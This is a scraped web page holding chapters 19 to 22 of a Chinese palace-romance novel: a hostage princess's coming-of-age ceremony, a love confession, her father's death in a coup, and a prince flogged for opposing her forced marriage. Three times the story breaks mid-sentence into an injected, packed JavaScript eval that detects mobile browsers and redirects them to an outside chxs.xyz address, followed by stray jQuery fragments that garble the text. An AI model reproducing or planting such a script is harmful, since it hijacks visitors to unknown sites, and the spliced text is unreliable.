“嗯?阿若,去哪啊?”“外面有轿辇候着了,殿下您只管坐着就好。” 杜欢颜就这样被阿若稀里糊涂的哄上了轿子。 她掀开帘子,望着飘洒的白雪,问道:“阿若,这是去淑妃娘娘宫里的路线吧,是在那里设宴吗?阿愿不一起来吗?” “殿下,您且安心坐着,等到了自己看,不是更好吗?”阿若学坏了,也开始说一套藏一套了。 好吧,反正也不远,会是什么呢? 19.皇婿养成计划已达成 轿辇缓缓停下,杜欢颜正欲起身,一只手却先她一步掀开帘子,“阿颜,我来接你。” 杜欢颜搭上纪如愿的手,由他扶下了轿辇。 “走吧,阿颜,淑妃娘娘在主殿等着我们了。”他为她撑着伞,拦下纷飞落雪。 “阿愿,为我准备笈礼却不告诉我流程,若是一会儿闹了笑话,可要算在你头上了。”杜欢颜轻语,嗔怪的话语念出来却满含柔情。 “你果然猜到了啊。不过别担心,我和淑妃娘娘商量过,把流程简化了,你的亲人都在容国,所以我们一合计,把拜礼减少了些。虽然没有传统的笈礼那般庄重了,不过没了俗礼约束,你也能更轻松些,就看作是我们这些朋友在为你庆贺成年吧!” 谈笑间,二人已行至主殿前,殿门大开,淑妃娘娘身着宫妃服饰,笑意盈盈坐在主位,等候着他二人。 阿若站到淑妃身旁,宣布着及笄礼开始。杜欢颜轻步上前,向淑妃娘娘行礼,跪坐在席上,由娘娘为她插金簪,加钗冠,庄重道:“愿公主杜欢颜,此后岁月,顺遂无虞,眉寿万年,永受胡福。”言罢,淑妃的脸上浮现笑意,语气温和: “小欢颜,祝贺你成年。只是你身在虞国,家人都不在此处,我们便将叩拜礼省去了,你意下呢?” 杜欢颜不语,退后几步,突然跪地,朝着淑妃行了一礼,把淑妃娘娘吓了一跳,赶忙要扶起她:“小欢颜,你这是做什么,我非你亲人,何故朝我行拜礼,快起来吧!”她仍是跪在地上,冲淑妃一笑,道:“娘娘这话说的可不中听,在杜欢颜心中,早已将娘娘视作亲人,您为我主持了笈礼,我向您行礼,最合适不过了。”说罢在淑妃微沉的眼神下行了剩下两拜礼。 “罢了,小欢颜,你既将我视作亲人,我便应下,只是不能白白受了你的礼,”她说着,摘下手上的青玉镯子,就要给杜欢颜戴上。杜欢颜连连摆手,说着“不能收”,被淑妃强硬的拉过来戴上,道:“你别有负担,这不是陛上赏的,是我母家传下来的,从我少女时便带着了,莫怕。” “自是娘娘传家之物,我更收不得了,请您收回去吧!”“收下吧,我也早想着要送你点什么了,只是陛下赏赐下来的虞国皇室之物你定然不喜,这个镯子和皇室无关,最合适不过了,收下吧。” 话说到这份上,杜欢颜也不再推脱,欢喜的道了谢。 及笄礼成,淑妃摆了宴席,留他们在此处享用,又闲谈嘱托了许多事,一直到傍晚仍不放他们回去,要再摆晚宴,留他们住下,被杜欢颜委婉拒绝了。 回到自己宫殿时,夜色已深,好在皇宫处处都点了灯,所以仍是看得清外面的。 杜欢颜卸下了钗冠,又换了身干练的衣裳,要出去堆个雪人。 她已经想雪人了一天了,五年了,五年啦!她这个北国公主终于又见到雪了,拉着纪如愿就往外走。 时隔五年,小公主的技艺终于是精进了,堆出来的雪人总算是像模像样了,当年邪祟完全比不得了。 “怎么样,阿愿?这次的雪人是不是漂亮多啦!” 纪如愿从刚才起就心不在焉的,中途还离开了好久,都不帮她堆,这会儿也不直视她,声音低沉沉的,“很好看,不过阿颜以前堆的那个,我也喜欢。” 你真的喜欢那个邪祟雪人吗?杜欢颜心里震惊着。 “阿愿,有没有人说过,你审美有些独特。”她委婉提示着。 “啊?会吗?我身边只有阿颜,其他人的想法,我自是不知道的。” 好吧,看你可怜,原谅你的审美了。杜欢颜说服了自己。 只是纪如愿却突然走近,试探性地拉住她的袖子,轻声道:“阿颜,我有礼物要送你,跟我来一下好吗?” 他拉着杜欢颜走到雪人身后,从树丛里拿出一个木盒子。 嗯?什么时候藏这儿的?杜欢颜再次震惊。 借着灯光,她打开了木盒,一套华贵的钗冠映入眼帘。她轻轻拿起一把簪子,细细端详,“这是,点翠?” “嗯。”纪如愿仍是不看她,只盯着她手上的木盒,“前些日子我去找了宫里的匠人,去学了点翠技艺,所以一直没时间陪你。中间还失败了很多次,耽误了不少时间,好在最后给你做好了这套发饰,希望你喜欢。” 杜欢颜有些讶异:“可你不是给我准备了金簪发冠吗,为何又送我这些。” “不一样,笈礼佩戴的,是我同淑妃娘娘,还有阿若一起商定送你的,这套,是我自己想送你的,阿颜。” “为什么自己想送发簪?” “因为……因为……”纪如愿说得有些犹豫,若非夜深看不清,会发现早有一抹红晕爬上他的耳朵,继而蔓延到脸上。他深吸一口气,缓缓说道:“我和阿颜相识五年了,我早已将你看作我最重要的知己。如今你已及笄,这钗冠送你,既是作为感谢,其二,若你日后出嫁,便也将其当作……当作嫁妆吧!”纪如愿说到最后已近乎胡言乱语,声音也愈发小。 …… “你想当我娘家人?!”良久的沉默后,杜欢颜颤颤巍巍地回了一句。 !意识到自己说了什么胡话的纪如愿脸色腾地红了,这下即使是黑天,也能看出他的无所适从。 “阿颜你听我说,我不是这个意思!我,我没有冒犯你的想法,我只是希望,你也可以把我当作依靠,就像你依靠你的亲人,你的哥哥姐姐那样,依靠我。” “只是这样吗?我以为你要说什么吓死人的话呢,虽然前一句要做我娘家人确实很吓人。”她突然笑了下,继而道:“对于你说,要我像哥哥姐姐那样依靠你,我的回答是,我拒绝。” “阿颜,为什么?”纪如愿有些急了,方才还酡红的脸骤然惨白,“是我送的礼物,你不喜欢吗?还是你觉得,我还不够格,被你依靠。” “都不是。”杜欢颜轻轻握住他的手,以免他因伤心过度晕过去,“你送我的礼物,我很喜欢,依靠的话,如果是指我们互相依靠对方,我也很愿意。” “那是为何?”都喜欢,都愿意,但还是拒绝他,纪如愿不明白了。 杜欢颜没有正面回答他,眼神飘向远方:“我已经成年了,虞容两国也已休战五年,可能不久后,父皇便会派人来接我回去了。” 纪如愿方才因她握住自己的手而恢复血色的脸再次有了惨白的迹象。阿颜,要走了吗? 注意到他灰败的情绪,杜欢颜将握着他的手紧了紧,道:“所以,若我将来回到容国,阿愿你愿不愿意,和我和亲,做容国的皇婿,我的驸马?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965637|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我愿意。”不假思索地回答,昭示着当事人没有经过一丝一毫的思考,这是脱口而出的答案。又或者是因为早已肖想过无数次可能的场景,做好了万全的准备。既是毫不犹豫,亦是深思熟虑。 就这么答应了?这回轮到杜欢颜不知所措了,她又重复了一遍:“阿愿,你听好,我是说我会回容国,我不会留在这里,是要你来容国与我和亲……” “我愿意的。”纪如愿直接打断了她的话语,将她的手按在心口处,庄重道:“我愿意同阿颜回容国,我愿意同阿颜和亲,我愿意当阿颜的驸马。阿颜去哪,我便去哪。” “为什么愿意?”明明是她提的要求,这会儿又是她在反问。杜欢颜当然知道他为何愿意,只是,她还想听多一点。 “因为我心悦阿颜。”他终于有勇气直视她的眼睛了,眼前的小姑娘却并不如想象般洒脱自如,她红着脸,有些惊慌,眼眸如一汪清水,颤动着,带动着脸边的晚霞也流动着。他再次败下阵来,率先移开眼。不知从何时起,他再没有能力与她对视。 “那你刚才还想当我当我娘家人?还说什么朋友,知己,还让我把你当亲人!你怎么不直接说心悦我呢!”杜欢颜突然质问道。 “我这样的身份处境,阿颜若是嫁给我,会受委屈,我不能这么做。”他将杜欢颜的手拉到眼前,在她以为他会亲下去的时候,他只微微低了头,用额头珍视地碰了碰她的手。 明明只是轻碰,杜欢颜却如同被烫到一般,只是她并没有收回手,就这样任由火势从手蔓延至全身。 “那我今夜若是不提呢,你又当如何?还有,谁说你和我回去,就不会受委屈了,你不怕我欺负你吗?” 纪如愿思考一瞬,故作无奈道:“那我就只好加倍努力,加官晋爵,爬到更高的位置,再去求阿颜回头看我了。”他忍不住轻笑一声,在杜欢颜审视的目光中又迅速恢复正经,道:“若是阿颜欺负我,那便欺负吧,你若愿意,欺负我一辈子也没关系。阿颜开心就好了。” “……笨蛋。不许再说了!”杜欢颜羞红着脸捂住他的嘴,听到他的轻笑后又瞪了他一眼。 “礼物我很喜欢,阿愿,我也很喜欢,我这个师父就勉为其难接受你这个弟子吧!”她摆出师父姿态,狡黠一笑,就要收起盒子。 “等一下,阿颜,盒子下面还有一层。” 嗯?还有一层?杜欢颜疑惑地摆弄了一下盒子,果真掰开了一道缝,她打开第二层,从中拿出块毛毯来。 “这是……?” “我听阿若说,阿颜你曾有一块貂绒毯子,被你薅秃了都舍不得扔,我想那毯子定是对你很重要。只是猎宴我没能捕到貂,只捕到一只白狐,我向父皇求了狐皮,做成了毯子。也许比不上你之前那块,但是,希望你收到能开心。” 杜欢颜不语,纪如愿还以为她不喜欢,望向她的脸却发现晶莹泪珠。 “阿颜,怎么哭了,是我勾起了你的伤心事吗?”他焦急地弯下腰,将她虚搂进怀里:“阿颜很快就能回家了,不要哭,不要哭,我也会陪着阿颜一起,阿颜一定会幸福的。”他胡乱安慰着,想到什么说什么,倒是把杜欢颜逗笑了。 “谢谢你。”她轻声道,“我也心悦于你,纪如愿。” 20.风波起 虞国的雪洋洋洒洒下了整夜,寒风凛冽,不知是否吹来了北国的思念。 隆冬时节,整个容国都被银装素裹,大片大片的雪花笼罩了琉璃瓦顶,整座皇宫静谧无声。 一声清脆的啼哭声划破这紧张寂静的氛围,紧接着传来稳婆激动的贺喜声:“恭喜陛下,恭喜娘娘,是位小公主!” 那容国皇帝已是在屋外焦急踱步许久,听闻喜讯,大踏步进了屋子,心疼地搂住皇后。皇后也虚弱地回望他,随后扬起个温柔的笑容,示意他抱抱孩子。 他颤抖着双手接过襁褓,小公主皱巴巴的,紧闭着眼睛,懵懂又脆弱。他珍惜地捧着小公主,也不敢再靠近,一副紧张的样子生怕碰坏了她。 皇后娘娘轻轻笑了,道:“陛下,怎么每次都一副手足无措的样子,她不会坏的。”皇帝这才敢屏住呼吸,轻轻凑近贴了一下公主的小脸便迅速撤离,这一举动又惹得皇后一阵轻笑。 “陛下,为我们的公主取个名字吧!” “瑞雪兆丰年,公主诞生遇此祥瑞之兆,实乃容国之福,此后年年今日,愿都能得此幸福欢愉,便取作“欢颜”,皇后意下如何?” “欢颜……杜欢颜,真好听呀,颜颜,小颜颜?”皇后微微起身,用手轻轻逗弄着婴儿,“这是父皇母后对你的祝福,我们小公主要一辈子都欢颜啊。” 只是皇后在生产后却落下了病根,三年后,一场风寒掩埋了这位温柔的娘娘。 三岁的杜欢颜还不懂什么是生离死别,她想去找母后,看守的宫人们却都沉默了,一个个红着眼眶。哥哥姐姐们也找不见,她直觉有什么不好的事发生了,自己也没来由地大哭起来。嬷嬷心疼她,偷偷抱着她去了坤宁宫。 “母后!嬷嬷,放我下去,我要去找母后!”那嬷嬷只一个劲的哄她,就是不放她让她进去。杜欢颜急了眼,咬了嬷嬷一口,趁她吃痛闯进了坤宁宫。 “母后,我要母后,别拦我!”小公主流着泪跑进去,守卫没一个敢拦她。哥哥姐姐们都在,父皇也在……母后呢,母后去哪了? 杜欢颜张望着,向父皇走过去,身后的嬷嬷还在喊她:“小公主,快回来呀,别去打扰陛下!” 年轻的帝王沉着脸,看着杜欢颜一步步走来。 “求陛下恕罪,老奴失职,没看好公主殿下,求陛下恕罪。”那老嬷嬷也不敢再追过去,跪在地上一个劲磕头。 她终于走到他面前,“父皇,母后呢?” 小公主还是觉察到了,母后的宫殿,却唯独没有母后,她不惧父皇越发阴沉的脸,仍是质问着:“父皇,母后去哪了?” 突然一阵温暖包裹了她,接着颈后传来湿热的触觉,年轻的帝王双膝跪地,将她搂进了怀里。 “颜颜,别怕,父皇在。” 颜颜,别怕。 …… 杜欢颜猛地惊醒,全身仿佛浸泡在水中,寒意从四肢百骸涌起。 是梦,为什么,会做这样的梦。 “殿下,殿下!”不等她细究,便见阿若慌里慌张地闯进来。 “阿若,什么事情不好了?”杜欢颜的声音仍颤抖着,她还未从方才的梦中脱离。 “我,我说不清,您先去淑妃娘娘那边吧!”阿若说着,就要服侍她穿衣,伸手却是摸到一片湿濡。 “殿下,怎么流了这么多汗?” “无事,”杜欢颜接过衣服,自己换上,“只是噩梦罢了,我们先去淑妃娘娘那边吧。” 一行人急切地来了淑妃宫里,“娘娘,您找我?” 淑妃的脸色也凝重着,双手紧握在一起,远远地瞧见杜欢颜来了,不等她走近就急切的迎上去。 她微微俯身将杜欢颜揽进怀里,“小欢颜。” “娘娘,发生什么事了?”杜欢颜焦急追问着,这场景,又让她想起了方才的梦。 淑妃摒退了宫人们,殿内只剩下她们两个及阿若。 她试图缓和了一下情绪,开口却仍泄出一丝颤音:“小欢颜,方才传来捷报,容国……”她顿了一下,艰难地道:“容国于昨夜,发生宫变。” “……什么意思……娘娘,您说清楚!”她的脸色骤然惨白,“我父皇呢?娘娘,我父皇怎么样了!” 淑妃的眼中已有了晶莹泪珠,仍是将杜欢颜死死按在怀里,哑声道:“捷报上说,昨夜,你皇叔率军攻进皇宫,火光漫天,你父皇他,他……” 接下来的话,杜欢颜已经听不到了。她挣脱开淑妃的怀抱,站起身茫然走着,恍惚觉得,自己还陷在噩梦中,迟迟没有醒来。 颜颜,别怕。 “娘娘,发生什么事了……阿颜!”纪如愿火急火燎地跑进殿,还没站稳脚跟,就看见杜欢颜直直地朝地面栽下去。他飞扑过去,终于在落地前接住了她。 …… 一岁,父皇为她取名欢颜,愿她能长长久久地欢颜。 两岁,父皇已经不怕她会破掉了,经常是一下朝就奔向坤宁宫,从皇后怀里把她要过去自己哄,还时不时拿着拨浪鼓逗她笑。 三岁,父皇失去了发妻,他将妻子拼尽全力生下的孩子搂进怀里,哄着她让她别怕,可他明明自己哭得更凶。 四岁,颜颜不小心剪掉了父皇一边的胡子,早朝被皇弟笑话了,父皇只是笑着说他都没有女儿,他懂什么。 五岁,颜颜打碎了异国进献的花瓶,怀瑾要为她顶罪,父皇便没再罚颜颜,之后把花瓶都收起来了。 六岁,颜颜因吃太多甜食牙痛被大姐禁了甜点心。父皇明面上支持大女儿,背地里叫宫人偷偷给她送少糖的糕点。 七岁,颜颜和长乐的话本子被若锦没收了,父皇见不得她两个难过,偷偷减少了宫殿侍卫,对颜颜把话本子偷出来一事睁一只眼闭一只眼。 八岁,颜颜的风筝刮到了使臣头上,父皇罚她不许在宫里乱放风筝,事后在私下和他们说这使臣是个老古板。 九岁,怀瑾出征了,颜颜一直哭。父皇哄了她几天,劝她放下心,其实他最不想让怀瑾去,可他是帝王,他不能有私心。 十岁,颜颜要自请出使虞国,父皇第一次生了气,还关了她三天禁闭。其实这三天在背地里哭了许久,一直难过到颜颜离开也舍不得亲自去送她。 …… “欢颜,欢颜。” “来,颜颜,让父皇抱抱。” “别怕,颜颜,父皇在。” “阿颜剪得很好看,是你皇叔不懂得欣赏。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971702|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “颜颜,没被碎片划伤手吧,父皇没怀疑你,别担心。” “你偷偷吃,可别叫你大姐知道了。” “话本子?罢了,看点闲书也不耽误事,随她高兴吧。” “这使臣是个老古板,他说了什么,颜颜别往心里去。” “你大哥他会没事的,别哭,颜颜。” ……别走,颜颜。 …… 十五岁,杜欢颜迎来了期盼了五年的雪。南国的风雪飘飘扬扬吹向了北国,掩埋了她的父皇。 她再也没有父皇了。 长欢颜,长欢颜,愿君长欢颜。 “阿颜,阿颜,醒醒,醒醒。”有人一声声唤着,是谁呢?杜欢颜慢慢睁开了眼睛,入目却是一片朦胧。 “阿颜,你赢了!先不要动,不要急,等我一下。”是阿愿的声音啊。 纪如愿拿着帕巾一点点擦净她眼上的泪滴,她的视野慢慢清晰。 “你在殿上晕过去了,方才在睡梦中一直哭,我拿帕巾擦了又擦也止不住你的泪,怕你被梦魇缠住,只得叫醒你了。” “所以,方才殿上的不是梦,是吗,我的父皇,他真的已经……”杜欢颜声音嘶哑的厉害,到最后已是失了声。 纪如愿拿着水喂她,却是不敢正面回她的疑问,只得避开她的视线,道:“阿颜,若是想哭,便哭吧。” 杜欢颜张了张嘴,没说出什么。巨大的悲痛扼住她的喉咙,连同眼泪一起闷在胸腔,发泄不出来,努力也只能从喉咙里发出几声破碎的低吟。 “阿颜,你先别急,先缓一缓。”纪如愿给她顺着气,又喂她喝了些水,“淑妃娘娘就在屋外,阿颜你缓一缓,我再叫娘娘过来和你说,先不要急。” 杜欢颜也知此刻焦急也无用,慢慢调整了呼吸,好一会儿终于找回了声音:“阿愿,你去叫淑妃娘娘吧,我已经好些了。” 纪如愿其实有些犹豫,他怕阿颜又承受不住晕过去,但他也知阿颜此刻定是心急如焚,权衡下,他还是喊来了淑妃。 淑妃走进来,便见杜欢颜毫无血色的脸,“小欢颜,要不要再歇一歇……” “不了,娘娘…我,我可以承受得住,请你告诉我,我的皇兄,还有皇姐,他们怎么样了。” 虽是担忧她的情绪,但即便不说,杜欢颜也不会好到哪去,淑妃斟酌着开口,小心翼翼地不愿刺伤她:“上面说,你大皇姐,自请下位,由你那皇叔登上了皇位,成了容国新帝,至于你皇兄他,不知所踪。” 杜欢颜摇着头,喃喃低语:“不可能的,不可能的,大姐是皇太女,她不可能自请下位,还同意杀父仇人做皇帝的,这不可能!”她突然嘶吼出声,喉间一股腥甜,竟是呕出一口血来。 “阿颜!先不要听了,你先休息一下,好吗?”纪如愿拥住她颤抖的身躯,语气带上了恳求。 淑妃也上前想要扶住她,这时却有个婢女急匆匆闯进来,几乎是扑到淑妃身边,凑近耳语着。 “你说什么?这不可能!”淑妃听完的瞬间便白了脸,眼中满是不可置信。 “娘娘,怎么了吗?”那边的两人也被这动静惊了一下,急切询问着。 淑妃僵硬地转过头,涩着声音:“你父皇他……有意将小欢颜……赐给二皇子。” 21.杖刑 “您说什么?将阿颜赐给二哥!” 纪如愿猛地抬高了声音,“不可能!阿颜是容国公主,父皇他怎可随意指婚?我要去问个清楚!” “阿愿!”“如愿等等!”纪如愿急匆匆就冲了出去,她两个都拦不住,杜欢颜也起身想要追出去,被淑妃一把摁下。 “阿颜,现在不明具体情况,你追出去也是无济于事。倘若确有此事,你如今身份尴尬,贸然去和陛下对峙恐出其他乱子,先让如愿过去吧,我一会儿也派人也去打探一番,总之你先冷静下来。” 杜欢颜急得又是红了眼,无意识收紧的手指用力得泛白。“可娘娘,阿愿就这样去了,会不会有危险?” 淑妃心里也没谱,可眼下没别的办法,只能安慰着杜欢颜:“别怕,他再怎么说也是皇子,而且近来还屡受陛下赏识,必定不会有事的,放宽心。” 杜欢颜苦着一张脸,再无法反驳,也只能祈祷如淑妃所说,阿愿不会被为难。 这边纪如愿几乎是一路跑着到了大殿,衣摆被风吹起,也来不及整理。他三两步跨上殿前台阶,却被门口的侍卫拦住告知陛下在商议政事,暂不见人。纪如愿不管旁人的劝阻,撩起衣袍在殿门口跪下,嗓音洪亮,“儿臣求见父皇!” 那侍卫还要拦,就有个大太监从殿里走了出来,他瞥了一眼跪着的纪如愿,喉咙里飘出尖细阴柔的字句来:“三皇子,陛下请你进去,跟老奴来吧。” 纪如愿跟着那太监进了殿,远远便瞧见父皇拿着文书与人在商议着什么,定睛一看,竟是二皇子。他理了理衣襟,在不远处再次下跪行礼:“儿臣叩见父皇。” 皇帝放下文书,微微颔首,目光落在他身上,开口道:“平身吧。如愿你来得正好,方才朕正欲派人去寻你过来,就听见你在门外的声音了。” 纪如愿再次行礼谢恩,起身道:“父皇寻我是有何事?” 皇帝轻敛神色,庄重开口:“朕瞧你年岁也不小了,近几个月又屡夺魁首,便想着派你去甘州历练一番,你可愿意?” “儿臣谨听父皇安排。”他覆手谢恩,接着道:“只是父皇,儿臣还有一事请问,关于容国宫变易主一事。” 皇帝冷哼了声,语气骤然冷下来:“你从何得知的此事?” “儿臣……” “是淑妃告诉你的。”他直接打断了纪如愿,语气笃定,“告诉你也无妨,确有此事。” “那父皇要将阿……要将那容国公主嫁与二哥,是否为真?”他的语气明显带上了焦急。 “这也是淑妃同你说的?呵,她的手伸的未免也过长了!是,朕是要将她许给你二哥。” “父皇!杜欢颜乃容国公主,您怎可越过容国,擅自将其嫁与他人!”他再也维持不了片刻的冷静,语气带上了质问,丝毫不觉皇帝的面色已越发冷。 “你这是在质问朕?”皇帝猛地一拍龙椅扶手,怒目而视殿下的皇子,将文书甩向他,“你自己看!” 纪如愿接过文书,细细看完后脸色大变,那文书乃容国新帝亲笔所写,容国为了两国和睦,愿意将公主杜欢颜嫁与虞国皇子和亲,此后一切由虞国安排,容国再不参与。 这分明是那新帝巩固自己的手段,随意找了个理由要将阿颜永远留在虞国! “看完了?你先前与那容国公主厮混在一起,朕就当没发生过,只是和亲一事已定,你休要再提其他!” 此时那二皇子也走近他,漫不经心规劝道:“三弟啊,二哥知你与那公主交情深,只是你毕竟只是个皇子,虞国若将亲善大使公主嫁与一个没有爵位的皇子,到时候容国讨要说法,岂不是伤了两国和气?”他轻蔑地瞧了瞧还跪在地上的纪如愿,附身在他耳边低语:“放心吧三弟,父皇只是把她赐给我做侧妃,你若实在喜欢,等过两年你从甘州回来了,我把她让给你玩,如何啊?” 话音刚落,纪延澈就被他一把拽住了衣领,“你把阿颜当什么!”纪如愿抬手就是一拳,被对方躲开复又抬起手。 “大胆!在大殿上就敢对你皇兄出手,纪如愿,你可知罪!”皇帝已是站起身,指着他怒喝:“来人,把三皇子拖下去!” 几个侍卫疾步上前,要将他架起,谁料他猛然一甩身,又抬腿一踹,那两个侍卫都被他突如其来的动作搞得一踉跄,紧接着又有几个侍卫上前。 纪如愿不断挣扎着,他只知道若是自己妥协了,他们定然不会如约定般好好待阿颜,和亲不过是借口,他们是打算暗中除掉阿颜! “你们都是废物吗!为何还不将他拿下!”几个侍卫都拿不下他,皇帝已是勃然大怒。 “父皇!儿臣早已与杜欢颜有了夫妻之实!请您收回成命!” “混账!你再说一遍!”皇帝此刻胸膛剧烈起伏,死死盯着他,显然是气得不轻。 “儿臣已与容国公主杜欢颜有了夫妻之实,若您要与容国和亲,便让儿臣来! “好,好,好。”皇帝抬起手,用手指着他,因愤怒一个劲地发抖,一时都说不出话来,“来人,去请验身嬷嬷,朕倒要看看,你这个肌肤之亲夫妻之实,到底属不属实!” “父皇!儿臣已让那杜欢颜爱上儿臣,若您要利用她,让儿臣去蛊惑她岂不是更容易些,为何不能将她嫁与儿臣! “你给朕闭嘴!别以为朕不知道你在想什么,你成日围着那公主转,究竟是谁被谁蛊惑了,你以为朕不清楚吗!为了个敌国质子都敢欺君了,待验身嬷嬷回来,朕看你如何狡辩!” “父皇使不得啊!杜欢颜贵为容国公主,您今日这般不顾及她的清白,若是传到容国,让他们得知自己公主在他国受辱,要来讨要说法,不是得不偿失?!” “说这么多废话,你不就是怕欺君之事败露,保不下她,那杜欢颜到底对你下了什么药,你就这么想娶她,不惜忤逆朕!”皇帝大手一挥,又喊来几个侍卫太监,冷冷道:“好啊,既然你铁了心想娶她,朕便看你能坚持到几时。拖下去,给朕打,打到他求饶,若他始终不服,便是打死了也无事!” 纪如愿不再挣扎,任由宫人们将其拖下去,不一会儿外面便传来了重重的板子声。 板子声一声接着一声,打板子的宫人都换了几轮,外面却除了偶尔的闷哼外,再无其他声响。 皇帝仍是冷着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982869|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,瞪了一眼身旁的大太监:“那嬷嬷怎么还没回来!” 那太监吓得浑身一颤,“扑通”一声跪倒在地,战战兢兢道:“回皇上,奴才已经派人去催了,他们应该马上就到了……诶呦您看!他们来了!”他的声音到后来已是染了哭腔,余光瞥见殿外有人来了,连连松了口气,起身迎上去。” 那嬷嬷跪在地上行了个礼,颤颤巍巍道:“回陛下……公主杜欢颜她确…确实已非完璧之身。” 皇帝冷笑一声,一把抓起桌上的羊脂玉盏砸向那伏在地上的嬷嬷,玉盏登时四分五裂,碎片划过嬷嬷脸侧,她惊叫一声,连连磕头求饶:“皇上饶命,皇上饶命!是淑妃……是淑妃娘娘拦下了老奴,老奴……” “呵,淑妃让你这么做,你就做了,你可知欺君是死罪!” “皇上饶命,皇上饶命!老奴自然不敢,只是……还有皇后娘娘的懿旨……” 皇帝面色缓和了些,语气仍透着寒意:“皇后懿旨?”他又转向询问跟嬷嬷同去的小太监:“她说的可是真话?” 小太监也跪在地上,大气都不敢出,听到皇上问自己,一时都忘了回复,连连磕起头,还是那老太监提醒他回话,才终于停下来。 “回陛下,确实如此。奴才们和嬷嬷去那公主宫里扑了个空,得知她在淑妃娘娘宫里,又转去淑妃娘娘宫殿,刚进了门说了事,还没站稳脚跟,皇后娘娘的懿旨就下来了,要我们听淑妃调遣,不然……不然……格杀勿论。”他说完又是连磕几个头,身体抖成了筛糠。 “罢了,既是皇后所言,朕便饶你们不死,下去,一人领二十大板。” “是,是,多谢皇上。”那几个宫人连连谢恩,虽是挨了板子,可总算保住了性命。 “他们那边多久了?” “回陛下,三皇子受刑已过了一柱香的时辰。” “还没求饶吗?”皇帝用手捏了捏眉头,语气疲倦。 “回陛下……还未,是奴才们无能。” “那就接着打,朕倒要看看他筋骨有多硬!” 殿外三皇子已是皮开肉绽,鲜血涌出染红了身下长凳,又慢慢流向地板。路过的宫人被吓得脸色惨白,闭着眼匆匆走过不愿看这血腥的一幕。 纪如愿的嘴边也渗出了血,他死咬着唇,不肯让自己发出一丝求饶的声音。 纪延澈眼见着这一幕,一改方才的幸灾乐祸,也有些于心不忍,开口道:“父皇,三弟已经受了这么久的刑罚,您不如放过他吧!” “啪”的一声,皇帝一拍龙椅,怒目圆瞪:“怎么,你也要反了不成?一个个都敢来忤逆朕了!” “儿臣不敢。”便退居殿内。 又是好一会儿,一个太监从殿外走进:“禀皇上,已经半个时辰了,奴才瞧三皇子怕是快不行了,您看……” “他想死,那就让他死!他如今敢为了个质子公然与朕作对,留他也无用!” “你们都住手。” 板子声戛然而止,几个行刑太监也松了口气。 “谁!”皇帝正在气头上,甩头望去,气焰登时少了几分:“皇后,你怎么来了?” 22.懿旨 回看杜欢颜这边,自纪如愿冲出去后,始终放不下心来。虽然淑妃娘娘也说已经派了人去打探,她到底还是无法彻底安下心,隔一会儿就想起身去看看,再被淑妃摁住,就这样循环往复。 “娘娘,阿愿真的会没事吗?他父皇那么严厉,会不会难为他啊?” 难为那肯定是会了,淑妃默默想着,只是顾及到小欢颜的情绪,没有直接告诉她, “别怕,虎毒还不食子呢,如愿毕竟是他的孩子,陛下不至于因为这件事就要他的性命。” 这番看似安慰的话语听得杜欢颜是两眼一黑,什么叫不至于要他的性命?那就是会留一口气喽,这怎么看也不像是可以放下心来的程度啊! 她又撑着要起身,再次被淑妃一把按住,“小欢颜,你这个节骨眼去了,陛下若是当场就要给你赐婚,你要是不从便是抗旨,那可真就无力回天了!” “可是……” “我知道你想说什么,”淑妃轻轻打断她,斟酌了一下继续道:“你是容国公主,婚姻大事原本轮不到虞国干涉,可你忘了吗,你的皇兄皇姐们或许遇到了什么困难,现在容国那边是他人在位,若你出了什么事,你的亲人都顾不上你,小欢颜,你最应该做的就是保护好自己,越少地让自己暴露在他人视线内越好。” 杜欢颜张了张嘴,最终也想不到反驳的话。淑妃娘娘说的对,她这时更应该躲起来,才能保护好自己。她的头有些隐隐作痛,将自己缩成一团。 淑妃心疼地拢了拢她,轻声安慰:“若真到了万不得已的时刻,我也还有其他办法,别怕……” “娘娘!不好了娘娘!”不等淑妃说完,一个小太监就神色慌张地冲进殿内,“扑通”一声跪倒在地,气喘吁吁地禀告:“娘娘,三皇子不知同皇上说了什么,惹得皇上大发雷霆,吩咐了人马上就要来……”他突然压低了嗓音,用仅他们二人能听见的声音道:“要来验公主殿下的身。” “什么?你可别是听错了!” “千真万确啊娘娘,那验身嬷嬷们这会儿已经在路上了,奴才也是拼了命才快跑回来提前和您禀报这件事的!” 淑妃身子晃了晃,被杜欢颜眼疾手快一把扶助才堪堪稳住身形,喃喃道:“他这是说了些什么啊,怎么能扯到这事上?” “娘娘……这是不是无力回天的情况了……”一语成谶啊娘娘!这下真的关乎到性命了!杜欢颜的脸色堪比苦瓜,内心感到万分无力。 